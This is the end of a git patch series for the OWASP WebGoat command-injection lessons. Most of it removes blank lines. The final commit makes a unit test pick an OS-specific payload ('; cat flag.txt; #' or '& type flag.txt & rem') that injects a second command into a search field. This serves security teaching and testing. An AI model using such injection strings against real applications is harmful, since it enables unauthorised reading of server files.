b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java @@ -58,4 +58,3 @@ public void initialize(WebGoatUser user) { service.initialize(user); } } - diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java index 95aee1e922c..1599f70ccb8 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java @@ -42,4 +42,3 @@ public void initialize(WebGoatUser user) { service.initialize(user); } } - diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java index 92becbc2423..358a2d983e1 100644 --- a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java @@ -36,4 +36,3 @@ void allowlistExecutionShouldSucceed() { assertThat(result.messageKey()).isEqualTo("commandinjection.task5.success"); } } - From 4037658f1f4f8573575219719f3b99d1f7ac4555 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 13 Nov 2025 12:15:54 +0100 Subject: [PATCH 7/7] fix test --- .../commandinjection/CommandInjectionTask3Test.java | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java index 59eaeaf7076..1bbc3997f62 100644 --- a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java @@ -7,6 +7,7 @@ import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThatThrownBy; +import java.util.Locale; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.junit.jupiter.api.BeforeEach; @@ -52,7 +53,7 @@ void shouldFailWhenFlagMissing() { @Test void shouldSucceedWhenFlagMatches() { CommandInjectionTask3Service.SearchResponse firstRun = - searchController.search(user, "luna images/*; cat flag.txt; #"); + searchController.search(user, injectionPayload()); Matcher matcher = Pattern.compile( "[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") @@ -65,4 +66,10 @@ void shouldSucceedWhenFlagMatches() { assertThat(result.assignmentSolved()).isTrue(); assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.success"); } + + private String injectionPayload() { + boolean windows = + System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); + return windows ? "luna images/* & type flag.txt & rem" : "luna images/*; cat flag.txt; #"; + } }